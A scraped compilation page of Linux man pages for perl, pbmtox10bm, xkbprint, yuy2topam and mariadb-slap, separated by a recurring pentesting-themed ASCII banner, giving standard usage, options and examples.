➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perl and provides detailed information about the command perl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perl.

NAME 🖥️ perl 🖥️

The Perl 5 language interpreter

SYNOPSIS

perl [ -sTtuUWX ] [ -hv ] [ -V[:configvar] ] [ -cw ] [ -d[t][:debugger] ] [ -D[number/list] ] [ -pna ] [ -Fpattern ] [ -l[octal] ] [ -0[octal/hexadecimal] ] [ -Idir ] [ -m[-]module ] [ -M[-]‘module…’ ] [ -f ] [ -C [number/list] ] [ -S ] [ -x[dir] ] [ -i[extension] ] [ [-e|-E] ‘command’ ] [ ] [ programfile ] [ argument ]…

For more information on these options, you can run perldoc perlrun.

GETTING HELP

The perldoc program gives you access to all the documentation that comes with Perl. You can get more documentation, tutorials and community support online at <https://www.perl.org/>.

If you’re new to Perl, you should start by running perldoc perlintro, which is a general intro for beginners and provides some background to help you navigate the rest of Perl’s extensive documentation. Run perldoc perldoc to learn more things you can do with perldoc.

For ease of access, the Perl manual has been split up into several sections.

Overview

perl Perl overview (this section) perlintro Perl introduction for beginners perlrun Perl execution and options perltoc Perl documentation table of contents

Tutorials

perlreftut Perl references short introduction perldsc Perl data structures intro perllol Perl data structures: arrays of arrays perlrequick Perl regular expressions quick start perlretut Perl regular expressions tutorial perlootut Perl OO tutorial for beginners perlperf Perl Performance and Optimization Techniques perlstyle Perl style guide perlcheat Perl cheat sheet perltrap Perl traps for the unwary perldebtut Perl debugging tutorial perlfaq Perl frequently asked questions perlfaq1 General Questions About Perl perlfaq2 Obtaining and Learning about Perl perlfaq3 Programming Tools perlfaq4 Data Manipulation perlfaq5 Files and Formats perlfaq6 Regexes perlfaq7 Perl Language Issues perlfaq8 System Interaction perlfaq9 Networking

Reference Manual

perlsyn Perl syntax perldata Perl data structures perlop Perl operators and precedence perlsub Perl subroutines perlfunc Perl built-in functions perlopentut Perl open() tutorial perlpacktut Perl pack() and unpack() tutorial perlpod Perl plain old documentation perlpodspec Perl plain old documentation format specification perldocstyle Perl style guide for core docs perlpodstyle Perl POD style guide perldiag Perl diagnostic messages perldeprecation Perl deprecations perllexwarn Perl warnings and their control perldebug Perl debugging perlvar Perl predefined variables perlre Perl regular expressions, the rest of the story perlrebackslash Perl regular expression backslash sequences perlrecharclass Perl regular expression character classes perlreref Perl regular expressions quick reference perlref Perl references, the rest of the story perlform Perl formats perlobj Perl objects perltie Perl objects hidden behind simple variables perlclass Perl class syntax perldbmfilter Perl DBM filters perlipc Perl interprocess communication perlfork Perl fork() information perlnumber Perl number semantics perlthrtut Perl threads tutorial perlport Perl portability guide perllocale Perl locale support perluniintro Perl Unicode introduction perlunicode Perl Unicode support perlunicook Perl Unicode cookbook perlunifaq Perl Unicode FAQ perluniprops Index of Unicode properties in Perl perlunitut Perl Unicode tutorial perlebcdic Considerations for running Perl on EBCDIC platforms perlsec Perl security perlsecpolicy Perl security report handling policy perlmod Perl modules: how they work perlmodlib Perl modules: how to write and use perlmodstyle Perl modules: how to write modules with style perlmodinstall Perl modules: how to install from CPAN perlnewmod Perl modules: preparing a new module for distribution perlpragma Perl modules: writing a user pragma perlutil utilities packaged with the Perl distribution perlfilter Perl source filters perldtrace Perls support for DTrace perlglossary Perl Glossary

Internals and C Language Interface

perlembed Perl ways to embed perl in your C or C++ application perldebguts Perl debugging guts and tips perlxstut Perl XS tutorial perlxs Perl XS application programming interface perlxstypemap Perl XS C/Perl type conversion tools perlclib Internal replacements for standard C library functions perlguts Perl internal functions for those doing extensions perlcall Perl calling conventions from C perlmroapi Perl method resolution plugin interface perlreapi Perl regular expression plugin interface perlreguts Perl regular expression engine internals perlclassguts Internals of class syntax perlapi Perl API listing (autogenerated) perlintern Perl internal functions (autogenerated) perliol C API for Perls implementation of IO in Layers perlapio Perl internal IO abstraction interface perlhack Perl hackers guide perlsource Guide to the Perl source tree perlinterp Overview of the Perl interpreter source and how it works perlhacktut Walk through the creation of a simple C code patch perlhacktips Tips for Perl core C code hacking perlpolicy Perl development policies perlgov Perl Rules of Governance perlgit Using git with the Perl repository

History

perlhist Perl history records perldelta Perl changes since previous version perl5381delta Perl changes in version 5.38.1 perl5380delta Perl changes in version 5.38.0 perl5363delta Perl changes in version 5.36.3 perl5362delta Perl changes in version 5.36.2 perl5361delta Perl changes in version 5.36.1 perl5360delta Perl changes in version 5.36.0 perl5343delta Perl changes in version 5.34.3 perl5342delta Perl changes in version 5.34.2 perl5341delta Perl changes in version 5.34.1 perl5340delta Perl changes in version 5.34.0 perl5321delta Perl changes in version 5.32.1 perl5320delta Perl changes in version 5.32.0 perl5303delta Perl changes in version 5.30.3 perl5302delta Perl changes in version 5.30.2 perl5301delta Perl changes in version 5.30.1 perl5300delta Perl changes in version 5.30.0 perl5283delta Perl changes in version 5.28.3 perl5282delta Perl changes in version 5.28.2 perl5281delta Perl changes in version 5.28.1 perl5280delta Perl changes in version 5.28.0 perl5263delta Perl changes in version 5.26.3 perl5262delta Perl changes in version 5.26.2 perl5261delta Perl changes in version 5.26.1 perl5260delta Perl changes in version 5.26.0 perl5244delta Perl changes in version 5.24.4 perl5243delta Perl changes in version 5.24.3 perl5242delta Perl changes in version 5.24.2 perl5241delta Perl changes in version 5.24.1 perl5240delta Perl changes in version 5.24.0 perl5224delta Perl changes in version 5.22.4 perl5223delta Perl changes in version 5.22.3 perl5222delta Perl changes in version 5.22.2 perl5221delta Perl changes in version 5.22.1 perl5220delta Perl changes in version 5.22.0 perl5203delta Perl changes in version 5.20.3 perl5202delta Perl changes in version 5.20.2 perl5201delta Perl changes in version 5.20.1 perl5200delta Perl changes in version 5.20.0 perl5184delta Perl changes in version 5.18.4 perl5182delta Perl changes in version 5.18.2 perl5181delta Perl changes in version 5.18.1 perl5180delta Perl changes in version 5.18.0 perl5163delta Perl changes in version 5.16.3 perl5162delta Perl changes in version 5.16.2 perl5161delta Perl changes in version 5.16.1 perl5160delta Perl changes in version 5.16.0 perl5144delta Perl changes in version 5.14.4 perl5143delta Perl changes in version 5.14.3 perl5142delta Perl changes in version 5.14.2 perl5141delta Perl changes in version 5.14.1 perl5140delta Perl changes in version 5.14.0 perl5125delta Perl changes in version 5.12.5 perl5124delta Perl changes in version 5.12.4 perl5123delta Perl changes in version 5.12.3 perl5122delta Perl changes in version 5.12.2 perl5121delta Perl changes in version 5.12.1 perl5120delta Perl changes in version 5.12.0 perl5101delta Perl changes in version 5.10.1 perl5100delta Perl changes in version 5.10.0 perl589delta Perl changes in version 5.8.9 perl588delta Perl changes in version 5.8.8 perl587delta Perl changes in version 5.8.7 perl586delta Perl changes in version 5.8.6 perl585delta Perl changes in version 5.8.5 perl584delta Perl changes in version 5.8.4 perl583delta Perl changes in version 5.8.3 perl582delta Perl changes in version 5.8.2 perl581delta Perl changes in version 5.8.1 perl58delta Perl changes in version 5.8.0 perl561delta Perl changes in version 5.6.1 perl56delta Perl changes in version 5.6 perl5005delta Perl changes in version 5.005 perl5004delta Perl changes in version 5.004

Miscellaneous

perlbook Perl book information perlcommunity Perl community information perldoc Look up Perl documentation in Pod format perlexperiment A listing of experimental features in Perl perlartistic Perl Artistic License perlgpl GNU General Public License

Language-Specific

perlcn Perl for Simplified Chinese (in UTF-8) perljp Perl for Japanese (in EUC-JP) perlko Perl for Korean (in EUC-KR) perltw Perl for Traditional Chinese (in Big5)

Platform-Specific

perlaix Perl notes for AIX perlamiga Perl notes for AmigaOS perlandroid Perl notes for Android perlbs2000 Perl notes for POSIX-BC BS2000 perlcygwin Perl notes for Cygwin perlfreebsd Perl notes for FreeBSD perlhaiku Perl notes for Haiku perlhpux Perl notes for HP-UX perlhurd Perl notes for Hurd perlirix Perl notes for Irix perllinux Perl notes for Linux perlmacosx Perl notes for Mac OS X perlopenbsd Perl notes for OpenBSD perlos2 Perl notes for OS/2 perlos390 Perl notes for OS/390 perlos400 Perl notes for OS/400 perlplan9 Perl notes for Plan 9 perlqnx Perl notes for QNX perlriscos Perl notes for RISC OS perlsolaris Perl notes for Solaris perlsynology Perl notes for Synology perltru64 Perl notes for Tru64 perlvms Perl notes for VMS perlvos Perl notes for Stratus VOS perlwin32 Perl notes for Windows

Stubs for Deleted Documents

perlboot perlbot perlrepository perltodo perltooc perltoot

On Debian systems, you need to install the perl-doc package which contains the majority of the standard Perl documentation and the perldoc program.

Extensive additional documentation for Perl modules is available, both those distributed with Perl and third-party modules which are packaged or locally installed.

You should be able to view Perl’s documentation with your man (1) program or perldoc (1).

Some documentation is not available as man pages, so if a cross-reference is not found by man, try it with perldoc. Perldoc can also take you directly to documentation for functions (with the -f switch). See perldoc --help (or perldoc perldoc or man perldoc) for other helpful options perldoc has to offer.

In general, if something strange has gone wrong with your program and you’re not sure where you should look for help, try making your code comply with use strict and use warnings. These will often point out exactly where the trouble is.

DESCRIPTION

Perl officially stands for Practical Extraction and Report Language, except when it doesn’t.

Perl was originally a language optimized for scanning arbitrary text files, extracting information from those text files, and printing reports based on that information. It quickly became a good language for many system management tasks. Over the years, Perl has grown into a general-purpose programming language. It’s widely used for everything from quick “one-liners” to full-scale application development.

The language is intended to be practical (easy to use, efficient, complete) rather than beautiful (tiny, elegant, minimal). It combines (in the author’s opinion, anyway) some of the best features of sed, awk, and sh, making it familiar and easy to use for Unix users to whip up quick solutions to annoying problems. Its general-purpose programming facilities support procedural, functional, and object-oriented programming paradigms, making Perl a comfortable language for the long haul on major projects, whatever your bent.

Perl’s roots in text processing haven’t been forgotten over the years. It still boasts some of the most powerful regular expressions to be found anywhere, and its support for Unicode text is world-class. It handles all kinds of structured text, too, through an extensive collection of extensions. Those libraries, collected in the CPAN, provide ready-made solutions to an astounding array of problems. When they haven’t set the standard themselves, they steal from the best – just like Perl itself.

AVAILABILITY

Perl is available for most operating systems, including virtually all Unix-like platforms. See “Supported Platforms” in perlport for a listing.

ENVIRONMENT

See “ENVIRONMENT” in perlrun.

AUTHOR

Larry Wall <[email protected]>, with the help of oodles of other folks.

If your Perl success stories and testimonials may be of help to others who wish to advocate the use of Perl in their applications, or if you wish to simply express your gratitude to Larry and the Perl developers, please write to [email protected] .

FILES

“@INC” locations of perl libraries

“@INC” above is a reference to the built-in variable of the same name; see perlvar for more information.

SEE ALSO

https://www.perl.org/ the Perl homepage https://www.perl.com/ Perl articles https://www.cpan.org/ the Comprehensive Perl Archive https://www.pm.org/ the Perl Mongers

DIAGNOSTICS

Using the use strict pragma ensures that all variables are properly declared and prevents other misuses of legacy Perl features. These are enabled by default within the scope of use v5.12 (or higher).

The use warnings pragma produces some lovely diagnostics. It is enabled by default when you say use v5.35 (or higher). One can also use the -w flag, but its use is normally discouraged, because it gets applied to all executed Perl code, including that not under your control.

See perldiag for explanations of all Perl’s diagnostics. The use diagnostics pragma automatically turns Perl’s normally terse warnings and errors into these longer forms.

Compilation errors will tell you the line number of the error, with an indication of the next token or token type that was to be examined. (In a script passed to Perl via -e switches, each -e is counted as one line.)

Setuid scripts have additional constraints that can produce error messages such as “Insecure dependency”. See perlsec.

Did we mention that you should definitely consider using the use warnings pragma?

BUGS

The behavior implied by the use warnings pragma is not mandatory.

Perl is at the mercy of your machine’s definitions of various operations such as type casting, atof(), and floating-point output with sprintf().

If your stdio requires a seek or eof between reads and writes on a particular stream, so does Perl. (This doesn’t apply to sysread() and syswrite().)

While none of the built-in data types have any arbitrary size limits (apart from memory size), there are still a few arbitrary limits: a given variable name may not be longer than 251 characters. Line numbers displayed by diagnostics are internally stored as short integers, so they are limited to a maximum of 65535 (higher numbers usually being affected by wraparound).

You may submit your bug reports (be sure to include full configuration information as output by the myconfig program in the perl source tree, or by perl -V) to <https://github.com/Perl/perl5/issues>.

Perl actually stands for Pathologically Eclectic Rubbish Lister, but don’t tell anyone I said that.

NOTES

The Perl motto is “There’s more than one way to do it.” Divining how many more is left as an exercise to the reader.

The three principal virtues of a programmer are Laziness, Impatience, and Hubris. See the Camel Book for why.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1443 - Linux cli command pbmtox10bm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtox10bm and provides detailed information about the command pbmtox10bm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtox10bm.

.

NAME 🖥️ pbmtox10bm 🖥️

replaced by pbmtoxbm

DESCRIPTION

This program is part of Netpbm(1) .

pbmtox10bm was replaced in Netpbm 10.37 (December 2006) by pbmtoxbm(1) .

pbmtoxbm with the -x10 option is backward compatible with pbmtox10bm. pbmtoxbm also can generate X11 bitmaps.

You should not make any new use of pbmtox10bm and if you modify an existing use, you should upgrade to pbmtoxbm. But note that if you write a program that might have to be used with old Netpbm, pbmtox10bm is the only way to do that.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtox10bm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1444 - Linux cli command xkbprint

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xkbprint and provides detailed information about the command xkbprint, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xkbprint.

NAME 🖥️ xkbprint 🖥️

print an XKB keyboard description

SYNOPSIS

xkbprint [options] source [ output_file ]

DESCRIPTION

The xkbprint command generates a printable or encapsulated PostScript description of the XKB keyboard description specified by source. The source can be any compiled keymap (.xkm) file that includes a geometry description or an X display specification. If an output_file is specified, xkbprint writes to it. If no output file is specified, xkbprint creates replaces the extension of the source file with .ps or .eps depending on the requested format. If the source is a non-local X display (e.g.:0), xkbprint appends the appropriate prefix to the display specification, replacing the colon with a dash. For a local display, xkprint uses server-n where n is the number of the display.

OPTIONS

-?, -help
Prints a usage message.

-color
Print using the colors specified in the geometry file; by default, xkbprint prints a black-and-white image of the keyboard.

-dflts
Attempt to compute default names for any missing components, such as keys.

-diffs
Show symbols only where they are explicitly bound.

-eps
Generate an encapsulated PostScript file.

-fit
Fit the keyboard image on the page (default).

-full
Print the keyboard at full size.

-grid res
Print a grid with res mm resolution over the keyboard.

-if fontName
Specifies an internal PostScript type 1 font to dump to the specified output file or to fontName.pfa, if no output file is specified. No keyboard description is printed if an internal font is dumped.

-label type
Specifies the labels to be printed on keys; valid types are: none, name, code, and symbols.

-lc <locale>
Specifies a locale in which KeySyms should be resolved.

-level1
Generate level 1 PostScript.

-level2
Generate level 2 PostScript.

-lg group
Print symbols in keyboard groups starting from group.

-ll level
Print symbols starting from shift level level.

-mono
Generate black-and-white image of keyboard (default).

-n num
Print num copies.

-nkg num
Print the symbols in num keyboard groups.

-npk num
Number of keyboard images to print on each page; for EPS files, this specifies the total number of keyboard images to print.

-o file
Write output to file.

-Rdirectory
Use directory as the root directory; all path names are interpreted relative to directory.

-pict which
Controls use of pictographs instead of keysym names where available. which can be any of all, none, or common (default).

-synch
Forces synchronization for X requests.

-version
Print out the program version and exit.

-w level
Sets warning level (0 for no warning, 10 for all warnings).

SEE ALSO

X(7), xkbcomp(1)

AUTHOR

Erik Fortune, Silicon Graphics

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1445 - Linux cli command yuy2topam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command yuy2topam and provides detailed information about the command yuy2topam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the yuy2topam.

.

NAME 🖥️ yuy2topam 🖥️

convert YUY2 bytes to PAM

SYNOPSIS

yuy2topam

**-width=**pixels **-height=**pixels [filename]

DESCRIPTION

This program is part of Netpbm(1) .

yuy2topam reads raw YUY2 bytes as input and produces a PAM image as output. The input file is just YUY2 bytes. You have to specify the width and height on the command line, since the program obviously can’t get them from the file.

The output image has maxval 255.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), yuy2topam recognizes the following command line options:

-width=width
Width of the image, in pixels. This must be an even number.

-height=height
Height of the image.

These options are mandatory.

SEE ALSO

pam(1)

AUTHOR

Michael Haardt <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/yuy2topam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1446 - Linux cli command mariadb-slap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-slap and provides detailed information about the command mariadb-slap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-slap.

NAME 🖥️ mariadb-slap 🖥️

slap - load emulation client (mysqlslap is now a symlink to mariadb-slap)

SYNOPSIS

mysqlslap [options]

DESCRIPTION

mysqlslap is a diagnostic program designed to emulate client load for a MariaDB server and to report the timing of each stage. It works as if multiple clients are accessing the server.

Invoke mysqlslap like this:

shell> mysqlslap [options]

Some options such as –create or –query enable you to specify a string containing an SQL statement or a file containing statements. If you specify a file, by default it must contain one statement per line. (That is, the implicit statement delimiter is the newline character.) Use the –delimiter option to specify a different delimiter, which enables you to specify statements that span multiple lines or place multiple statements on a single line. You cannot include comments in a file; mysqlslap does not understand them.

mysqlslap runs in three stages:

1.

Create schema, table, and optionally any stored programs or data you want to using for the test. This stage uses a single client connection.

2.

Run the load test. This stage can use many client connections.

3.

Clean up (disconnect, drop table if specified). This stage uses a single client connection.

Examples:

Supply your own create and query SQL statements, with 50 clients querying and 200 selects for each:

mysqlslap –delimiter=";"
–create=“CREATE TABLE a (b int);INSERT INTO a VALUES (23)”
–query=“SELECT * FROM a” –concurrency=50 –iterations=200

Let mysqlslap build the query SQL statement with a table of two INT columns and three VARCHAR columns. Use five clients querying 20 times each. Do not create the table or insert the data (that is, use the previous test’s schema and data):

mysqlslap –concurrency=5 –iterations=20
–number-int-cols=2 –number-char-cols=3
–auto-generate-sql

Tell the program to load the create, insert, and query SQL statements from the specified files, where the create.sql file has multiple table creation statements delimited by ‘;’ and multiple insert statements delimited by ‘;’. The –query file will have multiple queries delimited by ‘;’. Run all the load statements, then run all the queries in the query file with five clients (five times each):

mysqlslap –concurrency=5
–iterations=5 –query=query.sql –create=create.sql
–delimiter=";"

mysqlslap supports the following options, which can be specified on the command line or in the [mysqlslap] and [client] option file groups. mysqlslap also supports the options for processing option files.

·

–help, -?

Display a help message and exit.

·

–auto-generate-sql, -a

Generate SQL statements automatically when they are not supplied in files or via command options.

·

–auto-generate-sql-add-autoincrement

Add an AUTO_INCREMENT column to automatically generated tables.

·

**–auto-generate-sql-execute-number=**N

Specify how many queries to generate automatically.

·

–auto-generate-sql-guid-primary

Add a GUID-based primary key to automatically generated tables.

·

**–auto-generate-sql-load-type=**type

Specify the test load type. The allowable values are read (scan tables), write (insert into tables), key (read primary keys), update (update primary keys), or mixed (half inserts, half scanning selects). The default is mixed.

·

**–auto-generate-sql-secondary-indexes=**N

Specify how many secondary indexes to add to automatically generated tables. By default, none are added.

·

**–auto-generate-sql-unique-query-number=**N

How many different queries to generate for automatic tests. For example, if you run a key test that performs 1000 selects, you can use this option with a value of 1000 to run 1000 unique queries, or with a value of 50 to perform 50 different selects. The default is 10.

·

**–auto-generate-sql-unique-write-number=**N

How many different queries to generate for –auto-generate-sql-write-number. The default is 10.

·

**–auto-generate-sql-write-number=**N

How many row inserts to perform on each thread. The default is 100.

·

**–commit=**N

How many statements to execute before committing. The default is 0 (no commits are done).

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

**–concurrency=**N, -c N

The number of clients to simulate when issuing the SELECT statement.

·

**–create=**value

The file or string containing the statement to use for creating the table.

·

**–create-schema=**value

The schema in which to run the tests.

·

–csv[=file_name]

Generate output in comma-separated values format. The output goes to the named file, or to the standard output if no file is given.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o,/tmp/mysqlslap.trace’.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info, -T

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

**–delimiter=**str, -F str

The delimiter to use in SQL statements supplied in files or via command options.

·

**–detach=**N

Detach (close and reopen) each connection after each N statements. The default is 0 (connections are not detached).

·

**–engine=**engine_name, -e engine_name

Comma separated list of storage engines to use for creating the table. The test is run for each engine. You can also specify an option for an engine after a colon, for example memory:max_row=2300.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–init-command=str

SQL Command to execute when connecting to MariaDB server. Will automatically be re-executed when reconnecting.

·

**–iterations=**N, -i N

The number of times to run the tests.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–no-drop

Do not drop any schema created during the test after the test is complete.

·

**–number-char-cols=**N, -x N

The number of VARCHAR columns to use if –auto-generate-sql is specified.

·

**–number-int-cols=**N, -y N

The number of INT columns to use if –auto-generate-sql is specified.

·

**–number-of-queries=**N

Limit each client to approximately this many queries. Query counting takes into account the statement delimiter. For example, if you invoke mysqlslap as follows, the ; delimiter is recognized so that each instance of the query string counts as two queries. As a result, 5 rows (not 10) are inserted.

shell> mysqlslap –delimiter=";" –number-of-queries=10 –query=“use test;insert into t values(null)”

·

–only-print

Do not connect to databases. mysqlslap only prints what it would have done.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlslap prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–plugin-dir=**dir_name

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

**–post-query=**value

The file or string containing the statement to execute after the tests have completed. This execution is not counted for timing purposes.

·

**–post-system=**str

The string to execute via system() after the tests have completed. This execution is not counted for timing purposes.

·

**–pre-query=**value

The file or string containing the statement to execute before running the tests. This execution is not counted for timing purposes.

·

**–pre-system=**str

The string to execute via system() before running the tests. This execution is not counted for timing purposes.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

**–query=**value, -q value

The file or string containing the SELECT statement to use for retrieving data.

·

**–shared-memory-base-name=**name

On Windows, the shared-memory name to use, for connections made via shared memory to a local server. This option applies only if the server supports shared-memory connections.

·

–silent, -s

Silent mode. No output.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print more information about what the program does. This option can be used multiple times to increase the amount of information.

·

–version, -V

Display version information and exit.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

